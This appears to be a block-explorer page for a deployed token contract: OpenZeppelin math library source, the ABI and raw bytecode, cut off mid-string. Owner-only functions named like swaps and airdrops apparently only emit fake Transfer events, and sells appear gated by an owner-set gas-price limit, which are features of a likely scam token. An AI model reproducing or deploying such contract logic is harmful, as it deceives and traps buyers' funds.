     * overflow (when the input is less than smallest int64 or
     * greater than largest int64).
     *
     * Counterpart to Solidity's `int64` operator.
     *
     * Requirements:
     *
     * - input must fit into 64 bits
     *
     * _Available since v3.1._
     */
    function toInt64(int256 value) internal pure returns (int64 downcasted) {
        downcasted = int64(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 64 bits");
    }

    /**
     * @dev Returns the downcasted int56 from int256, reverting on
     * overflow (when the input is less than smallest int56 or
     * greater than largest int56).
     *
     * Counterpart to Solidity's `int56` operator.
     *
     * Requirements:
     *
     * - input must fit into 56 bits
     *
     * _Available since v4.7._
     */
    function toInt56(int256 value) internal pure returns (int56 downcasted) {
        downcasted = int56(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 56 bits");
    }

    /**
     * @dev Returns the downcasted int48 from int256, reverting on
     * overflow (when the input is less than smallest int48 or
     * greater than largest int48).
     *
     * Counterpart to Solidity's `int48` operator.
     *
     * Requirements:
     *
     * - input must fit into 48 bits
     *
     * _Available since v4.7._
     */
    function toInt48(int256 value) internal pure returns (int48 downcasted) {
        downcasted = int48(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 48 bits");
    }

    /**
     * @dev Returns the downcasted int40 from int256, reverting on
     * overflow (when the input is less than smallest int40 or
     * greater than largest int40).
     *
     * Counterpart to Solidity's `int40` operator.
     *
     * Requirements:
     *
     * - input must fit into 40 bits
     *
     * _Available since v4.7._
     */
    function toInt40(int256 value) internal pure returns (int40 downcasted) {
        downcasted = int40(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 40 bits");
    }

    /**
     * @dev Returns the downcasted int32 from int256, reverting on
     * overflow (when the input is less than smallest int32 or
     * greater than largest int32).
     *
     * Counterpart to Solidity's `int32` operator.
     *
     * Requirements:
     *
     * - input must fit into 32 bits
     *
     * _Available since v3.1._
     */
    function toInt32(int256 value) internal pure returns (int32 downcasted) {
        downcasted = int32(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 32 bits");
    }

    /**
     * @dev Returns the downcasted int24 from int256, reverting on
     * overflow (when the input is less than smallest int24 or
     * greater than largest int24).
     *
     * Counterpart to Solidity's `int24` operator.
     *
     * Requirements:
     *
     * - input must fit into 24 bits
     *
     * _Available since v4.7._
     */
    function toInt24(int256 value) internal pure returns (int24 downcasted) {
        downcasted = int24(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 24 bits");
    }

    /**
     * @dev Returns the downcasted int16 from int256, reverting on
     * overflow (when the input is less than smallest int16 or
     * greater than largest int16).
     *
     * Counterpart to Solidity's `int16` operator.
     *
     * Requirements:
     *
     * - input must fit into 16 bits
     *
     * _Available since v3.1._
     */
    function toInt16(int256 value) internal pure returns (int16 downcasted) {
        downcasted = int16(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 16 bits");
    }

    /**
     * @dev Returns the downcasted int8 from int256, reverting on
     * overflow (when the input is less than smallest int8 or
     * greater than largest int8).
     *
     * Counterpart to Solidity's `int8` operator.
     *
     * Requirements:
     *
     * - input must fit into 8 bits
     *
     * _Available since v3.1._
     */
    function toInt8(int256 value) internal pure returns (int8 downcasted) {
        downcasted = int8(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 8 bits");
    }

    /**
     * @dev Converts an unsigned uint256 into a signed int256.
     *
     * Requirements:
     *
     * - input must be less than or equal to maxInt256.
     *
     * _Available since v3.0._
     */
    function toInt256(uint256 value) internal pure returns (int256) {
        // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive
        require(
            value <= uint256(type(int256).max),
            "SafeCast: value doesn't fit in an int256"
        );
        return int256(value);
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SignedMath.sol)

pragma solidity ^0.8.0;

/**
 * @dev Standard signed math utilities missing in the Solidity language.
 */
library SignedMath {
    /**
     * @dev Returns the largest of two signed numbers.
     */
    function max(int256 a, int256 b) internal pure returns (int256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two signed numbers.
     */
    function min(int256 a, int256 b) internal pure returns (int256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two signed numbers without overflow.
     * The result is rounded towards zero.
     */
    function average(int256 a, int256 b) internal pure returns (int256) {
        // Formula from the book "Hacker's Delight"
        int256 x = (a & b) + ((a ^ b) >> 1);
        return x + (int256(uint256(x) >> 255) & (a ^ b));
    }

    /**
     * @dev Returns the absolute unsigned value of a signed value.
     */
    function abs(int256 n) internal pure returns (uint256) {
        unchecked {
            // must be unchecked in order to support `n = type(int256).min`
            return uint256(n >= 0 ? n : -n);
        }
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"LIQUID_RATE","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAX_PERCENTAGE","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"buyWithEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"buyWithEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"claimTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludedFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"permission","type":"bool"}],"name":"setAirdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_minimumAirdropAmount","type":"uint256"}],"name":"setMinimumAirdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"swapExactETHForTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradeOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"unoswap","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60e06040526100106012600a61058f565b61001f906412a05f20006105a4565b6080526007805461ffff60a01b19169055600880546001600160a01b03199081169091556009805490911661dead1790555f60a081905260c0819052600a55348015610069575f80fd5b506040518060400160405280600e81526020016d14195c1948155b98da185a5b995960921b815250604051806040016040528060048152602001635045505560e01b8152506100c46100bf6102fb60201b60201c565b6102ff565b60046100d08382610652565b5060056100dd8282610652565b50505061010473f0163c18f8d3fc8d5b4ca15e07d0f9f75460335f3361034e60201b60201c565b60805161012b9033906127109061011c9082906105a4565b6101269190610711565b61037c565b6007805460ff60a01b1916600160a01b179055335f908152600b60209081526040808320805460ff19166001179055600c80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b81529151909263c45a015592600480820193918290030181865afa1580156101b7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101db9190610730565b9050806001600160a01b031663c9c6539630600c5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561023d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102619190610730565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156102ab573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102cf9190610730565b600880546001600160a01b0319166001600160a01b039290921691909117905550608051600a55610769565b3390565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600680546001600160a01b039384166001600160a01b03199182161790915560078054929093169116179055565b6001600160a01b0382166103d65760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060035f8282546103e79190610756565b90915550506001600160a01b0382165f9081526001602052604081208054839290610413908490610756565b90915550506007546001600160a01b0390811690831603610463576006546040518281526001600160a01b03909116905f905f80516020611e768339815191529060200160405180910390a35050565b6040518181526001600160a01b038316905f905f80516020611e768339815191529060200160405180910390a35050565b505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156104e757815f19048211156104cd576104cd610499565b808516156104da57918102915b93841c93908002906104b2565b509250929050565b5f826104fd57506001610589565b8161050957505f610589565b816001811461051f576002811461052957610545565b6001915050610589565b60ff84111561053a5761053a610499565b50506001821b610589565b5060208310610133831016604e8410600b8410161715610568575081810a610589565b61057283836104ad565b805f190482111561058557610585610499565b0290505b92915050565b5f61059d60ff8416836104ef565b9392505050565b808202811582820484141761058957610589610499565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806105e357607f821691505b60208210810361060157634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561049457805f5260205f20601f840160051c8101602085101561062c5750805b601f840160051c820191505b8181101561064b575f8155600101610638565b5050505050565b81516001600160401b0381111561066b5761066b6105bb565b61067f8161067984546105cf565b84610607565b602080601f8311600181146106b2575f841561069b5750858301515b5f19600386901b1c1916600185901b178555610709565b5f85815260208120601f198616915b828110156106e0578886015182559484019460019091019084016106c1565b50858210156106fd57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b5f8261072b57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215610740575f80fd5b81516001600160a01b038116811461059d575f80fd5b8082018082111561058957610589610499565b60805160a05160c0516116d56107a15f395f81816102d40152610ea201525f818161031d0152610e6a01525f61046a01526116d55ff3fe608060405234801561000f575f80fd5b50600436106101fd575f3560e01c806381744fb111610114578063a9059cbb116100a9578063d632135b11610079578063d632135b1461048c578063dd62ed3e1461049f578063f01a4b99146104d7578063f2fde38b146104ea578063f887ea40146104fd575f80fd5b8063a9059cbb14610437578063bf861b311461044a578063c9567bf91461045d578063d5abeb0114610465575f80fd5b806396784f75116100e457806396784f75146103fe578063985bdfd11461033f578063a457c2d714610411578063a8aa1b3114610424575f80fd5b806381744fb1146103b1578063825e7b83146103c45780638da5cb5b146103e657806395d89b41146103f6575f80fd5b80632b14ca56116101955780634c255c97116101655780634c255c971461033f5780634e148e191461035b5780635d8228131461036e57806370a0823114610381578063715018a6146103a9575f80fd5b80632b14ca56146102cf578063313ce567146102f657806339509351146103055780634706240214610318575f80fd5b806318160ddd116101d057806318160ddd1461026b57806323b872dd1461027d57806325fa0b981461029057806327c8f835146102a4575f80fd5b806302b1e95b1461020157806306fdde0314610216578063095ea7b314610234578063158ef93e14610257575b5f80fd5b61021461020f366004611379565b610510565b005b61021e61055b565b60405161022b91906113c1565b60405180910390f35b610247610242366004611411565b6105eb565b604051901515815260200161022b565b60075461024790600160a01b900460ff1681565b6003545b60405190815260200161022b565b61024761028b366004611439565b610601565b60075461024790600160a81b900460ff1681565b6009546102b7906001600160a01b031681565b6040516001600160a01b03909116815260200161022b565b61026f7f000000000000000000000000000000000000000000000000000000000000000081565b6040516012815260200161022b565b610247610313366004611411565b6106ae565b61026f7f000000000000000000000000000000000000000000000000000000000000000081565b61034861271081565b60405161ffff909116815260200161022b565b610214610369366004611472565b6106e9565b61021461037c3660046114ab565b61073c565b61026f61038f366004611526565b6001600160a01b03165f9081526001602052604090205490565b6102146107f7565b6102146103bf3660046114ab565b61082b565b6102476103d2366004611526565b600b6020525f908152604090205460ff1681565b5f546001600160a01b03166102b7565b61021e6108de565b61021461040c3660046114ab565b6108ed565b61024761041f366004611411565b6109a0565b6008546102b7906001600160a01b031681565b610247610445366004611411565b610a38565b610214610458366004611546565b610a44565b610214610a72565b61026f7f000000000000000000000000000000000000000000000000000000000000000081565b61021461049a3660046114ab565b610b0a565b61026f6104ad36600461155d565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6102146104e53660046114ab565b610bbd565b6102146104f8366004611526565b610c70565b600c546102b7906001600160a01b031681565b335f5b838110156105545761054c828686848181106105315761053161158e565b90506020020160208101906105469190611526565b85610d0a565b600101610513565b5050505050565b60606004805461056a906115a2565b80601f0160208091040260200160405190810160405280929190818152602001828054610596906115a2565b80156105e15780601f106105b8576101008083540402835291602001916105e1565b820191905f5260205f20905b8154815290600101906020018083116105c457829003601f168201915b5050505050905090565b5f6105f7338484610f77565b5060015b92915050565b5f61060d848484610d0a565b6001600160a01b0384165f908152600260209081526040808320338452909152902054828110156106965760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6106a38533858403610f77565b506001949350505050565b335f8181526002602090815260408083206001600160a01b038716845290915281205490916105f79185906106e49086906115ee565b610f77565b5f546001600160a01b031633146107125760405162461bcd60e51b815260040161068d90611601565b6001600160a01b03919091165f908152600b60205260409020805460ff1916911515919091179055565b5f546001600160a01b031633146107655760405162461bcd60e51b815260040161068d90611601565b5f5b838110156107ef578484828181106107815761078161158e565b90506020020160208101906107969190611526565b6001600160a01b0316866001600160a01b03165f805160206116808339815191528585858181106107c9576107c961158e565b905060200201356040516107df91815260200190565b60405180910390a3600101610767565b505050505050565b5f546001600160a01b031633146108205760405162461bcd60e51b815260040161068d90611601565b6108295f61109a565b565b5f546001600160a01b031633146108545760405162461bcd60e51b815260040161068d90611601565b5f5b838110156107ef578484828181106108705761087061158e565b90506020020160208101906108859190611526565b6001600160a01b0316866001600160a01b03165f805160206116808339815191528585858181106108b8576108b861158e565b905060200201356040516108ce91815260200190565b60405180910390a3600101610856565b60606005805461056a906115a2565b5f546001600160a01b031633146109165760405162461bcd60e51b815260040161068d90611601565b5f5b838110156107ef578484828181106109325761093261158e565b90506020020160208101906109479190611526565b6001600160a01b0316866001600160a01b03165f8051602061168083398151915285858581811061097a5761097a61158e565b9050602002013560405161099091815260200190565b60405180910390a3600101610918565b335f9081526002602090815260408083206001600160a01b038616845290915281205482811015610a215760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161068d565b610a2e3385858403610f77565b5060019392505050565b5f6105f7338484610d0a565b5f546001600160a01b03163314610a6d5760405162461bcd60e51b815260040161068d90611601565b600a55565b5f546001600160a01b03163314610a9b5760405162461bcd60e51b815260040161068d90611601565b600754600160a81b900460ff1615610af55760405162461bcd60e51b815260206004820152601c60248201527f436f6e74726163743a2054726164696e67206973206f70656e65642100000000604482015260640161068d565b6007805460ff60a81b1916600160a81b179055565b5f546001600160a01b03163314610b335760405162461bcd60e51b815260040161068d90611601565b5f5b838110156107ef57848482818110610b4f57610b4f61158e565b9050602002016020810190610b649190611526565b6001600160a01b0316866001600160a01b03165f80516020611680833981519152858585818110610b9757610b9761158e565b90506020020135604051610bad91815260200190565b60405180910390a3600101610b35565b5f546001600160a01b03163314610be65760405162461bcd60e51b815260040161068d90611601565b5f5b838110156107ef57848482818110610c0257610c0261158e565b9050602002016020810190610c179190611526565b6001600160a01b0316866001600160a01b03165f80516020611680833981519152858585818110610c4a57610c4a61158e565b90506020020135604051610c6091815260200190565b60405180910390a3600101610be8565b5f546001600160a01b03163314610c995760405162461bcd60e51b815260040161068d90611601565b6001600160a01b038116610cfe5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161068d565b610d078161109a565b50565b600754600160a01b900460ff161515600114610d685760405162461bcd60e51b815260206004820152601a60248201527f436f6e74726163743a206e6f7420696e697469616c697a656421000000000000604482015260640161068d565b600754600160a01b900460ff1615156001148015610d905750600754600160a81b900460ff16155b15610e08575f546001600160a01b0384811691161480610dbc57505f546001600160a01b038381169116145b610e085760405162461bcd60e51b815260206004820181905260248201527f436f6e74726163743a2074726164696e67206973206e6f742073746172746564604482015260640161068d565b60085481906001600160a01b031615801590610e3157505f546001600160a01b03858116911614155b8015610e4a57505f546001600160a01b03848116911614155b15610f66576008545f906001600160a01b0390811690861603610e8a57507f00000000000000000000000000000000000000000000000000000000000000005b6008546001600160a01b0390811690851603610ece577f00000000000000000000000000000000000000000000000000000000000000009050610ece600a546110e9565b6001600160a01b0385165f908152600b602052604090205460ff16151560011480610f1557506001600160a01b0384165f908152600b602052604090205460ff1615156001145b15610f1d57505f5b8015610f64575f612710610f318386611636565b610f3b919061164d565b9050610f47818561166c565b600954909350610f629087906001600160a01b0316836110f5565b505b505b610f718484836110f5565b50505050565b6001600160a01b038316610fd95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161068d565b6001600160a01b03821661103a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161068d565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b803a1115610d07575f80fd5b6001600160a01b0383166111595760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161068d565b6001600160a01b0382166111bb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161068d565b6001600160a01b0383165f90815260016020526040902054818110156112325760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161068d565b6001600160a01b038085165f908152600160205260408082208585039055918516815290812080548492906112689084906115ee565b90915550506007546001600160a01b03908116908516036112ba576006546040518381526001600160a01b038581169216905f80516020611680833981519152906020015b60405180910390a3610f71565b6007546001600160a01b03908116908416036112ff576006546040518381526001600160a01b03918216918616905f80516020611680833981519152906020016112ad565b826001600160a01b0316846001600160a01b03165f80516020611680833981519152846040516112ad91815260200190565b5f8083601f840112611341575f80fd5b50813567ffffffffffffffff811115611358575f80fd5b6020830191508360208260051b8501011115611372575f80fd5b9250929050565b5f805f6040848603121561138b575f80fd5b833567ffffffffffffffff8111156113a1575f80fd5b6113ad86828701611331565b909790965060209590950135949350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b038116811461140c575f80fd5b919050565b5f8060408385031215611422575f80fd5b61142b836113f6565b946020939093013593505050565b5f805f6060848603121561144b575f80fd5b611454846113f6565b9250611462602085016113f6565b9150604084013590509250925092565b5f8060408385031215611483575f80fd5b61148c836113f6565b9150602083013580151581146114a0575f80fd5b809150509250929050565b5f805f805f606086880312156114bf575f80fd5b6114c8866113f6565b9450602086013567ffffffffffffffff808211156114e4575f80fd5b6114f089838a01611331565b90965094506040880135915080821115611508575f80fd5b5061151588828901611331565b969995985093965092949392505050565b5f60208284031215611536575f80fd5b61153f826113f6565b9392505050565b5f60208284031215611556575f80fd5b5035919050565b5f806040838503121561156e575f80fd5b611577836113f6565b9150611585602084016113f6565b90509250929050565b634e487b7160e01b5f52603260045260245ffd5b600181811c908216806115b657607f821691505b6020821081036115d457634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b808201808211156105fb576105fb6115da565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b80820281158282048414176105fb576105fb6115da565b5f8261166757634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156105fb576105fb6115da56feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220b301e024b340f8d0cc1ea5c3487ead269d50638c181c5f241eb97253e85d87d164736f6c63430008190033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef

0x608060405234801561000f575f80fd5b50600436106101fd575f3560e01c806381744fb111610114578063a9059cbb116100a9578063d632135b11610079578063d632135b1461048c578063dd62ed3e1461049f578063f01a4b99146104d7578063f2fde38b146104ea578063f887ea40146104fd575f80fd5b8063a9059cbb14610437578063bf861b311461044a578063c9567bf91461045d578063d5abeb0114610465575f80fd5b806396784f75116100e457806396784f75146103fe578063985bdfd11461033f578063a457c2d714610411578063a8aa1b3114610424575f80fd5b806381744fb1146103b1578063825e7b83146103c45780638da5cb5b146103e657806395d89b41146103f6575f80fd5b80632b14ca56116101955780634c255c97116101655780634c255c971461033f5780634e148e191461035b5780635d8228131461036e57806370a0823114610381578063715018a6146103a9575f80fd5b80632b14ca56146102cf578063313ce567146102f657806339509351146103055780634706240214610318575f80fd5b806318160ddd116101d057806318160ddd1461026b57806323b872dd1461027d57806325fa0b981461029057806327c8f835146102a4575f80fd5b806302b1e95b1461020157806306fdde0314610216578063095ea7b314610234578063158ef93e14610257575b5f80fd5b61021461020f366004611379565b610510565b005b61021e61055b565b60405161022b91906113c1565b60405180910390f35b610247610242366004611411565b6105eb565b604051901515815260200161022b565b60075461024790600160a01b900460ff1681565b6003545b60405190815260200161022b565b61024761028b366004611439565b610601565b60075461024790600160a81b900460ff1681565b6009546102b7906001600160a01b031681565b6040516001600160a01b03909116815260200161022b565b61026f7f000000000000000000000000000000000000000000000000000000000000000081565b6040516012815260200161022b565b610247610313366004611411565b6106ae565b61026f7f000000000000000000000000000000000000000000000000000000000000000081565b61034861271081565b60405161ffff909116815260200161022b565b610214610369366004611472565b6106e9565b61021461037c3660046114ab565b61073c565b61026f61038f366004611526565b6001600160a01b03165f9081526001602052604090205490565b6102146107f7565b6102146103bf3660046114ab565b61082b565b6102476103d2366004611526565b600b6020525f908152604090205460ff1681565b5f546001600160a01b03166102b7565b61021e6108de565b61021461040c3660046114ab565b6108ed565b61024761041f366004611411565b6109a0565b6008546102b7906001600160a01b031681565b610247610445366004611411565b610a38565b610214610458366004611546565b610a44565b610214610a72565b61026f7f0000000000000000000000000000000000000001027e72f1f12813088000000081565b61021461049a3660046114ab565b610b0a565b61026f6104ad36600461155d565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6102146104e53660046114ab565b610bbd565b6102146104f8366004611526565b610c70565b600c546102b7906001600160a01b031681565b335f5b838110156105545761054c828686848181106105315761053161158e565b90506020020160208101906105469190611526565b85610d0a565b600101610513565b5050505050565b60606004805461056a906115a2565b80601f0160208091040260200160405190810160405280929190818152602001828054610596906115a2565b80156105e15780601f106105b8576101008083540402835291602001916105e1565b820191905f5260205f20905b8154815290600101906020018083116105c457829003601f168201915b5050505050905090565b5f6105f7338484610f77565b5060015b92915050565b5f61060d848484610d0a565b6001600160a01b0384165f908152600260209081526040808320338452909152902054828110156106965760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6106a38533858403610f77565b506001949350505050565b335f8181526002602090815260408083206001600160a01b038716845290915281205490916105f79185906106e49086906115ee565b610f77565b5f546001600160a01b031633146107125760405162461bcd60e51b815260040161068d90611601565b6001600160a01b03919091165f908152600b60205260409020805460ff1916911515919091179055565b5f546001600160a01b031633146107655760405162461bcd60e51b815260040161068d90611601565b5f5b838110156107ef578484828181106107815761078161158e565b90506020020160208101906107969190611526565b6001600160a01b0316866001600160a01b03165f805160206116808339815191528585858181106107c9576107c961158e565b905060200201356040516107df91815260200190565b60405180910390a3600101610767565b505050505050565b5f546001600160a01b031633146108205760405162461bcd60e51b815260040161068d90611601565b6108295f61109a565b565b5f546001600160a01b031633146108545760405162461bcd60e51b815260040161068d90611601565b5f5b838110156107ef578484828181106108705761087061158e565b90506020020160208101906108859190611526565b6001600160a01b0316866001600160a01b03165f805160206116808339815191528585858181106108b8576108b861158e565b905060200201356040516108ce91815260200190565b60405180910390a3600101610856565b60606005805461056a906115a2565b5f546001600160a01b031633146109165760405162461bcd60e51b815260040161068d90611601565b5f5b838110156107ef578484828181106109325761093261158e565b90506020020160208101906109479190611526565b6001600160a01b0316866001600160a01b03165f8051602061168083398151915285858581811061097a5761097a61158e565b9050602002013560405161099091815260200190565b60405180910390a3600101610918565b335f9081526002602090815260408083206001600160a01b038616845290915281205482811015610a215760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161068d565b610a2e3385858403610f77565b5060019392505050565b5f6105f7338484610d0a565b5f546001600160a01b03163314610a6d5760405162461bcd60e51b815260040161068d90611601565b600a55565b5f546001600160a01b03163314610a9b5760405162461bcd60e51b815260040161068d90611601565b600754600160a81b900460ff1615610af55760405162461bcd60e51b815260206004820152601c60248201527f436f6e74726163743a2054726164696e67206973206f70656e65642100000000604482015260640161068d565b6007805460ff60a81b1916600160a81b179055565b5f546001600160a01b03163314610b335760405162461bcd60e51b815260040161068d90611601565b5f5b838110156107ef57848482818110610b4f57610b4f61158e565b9050602002016020810190610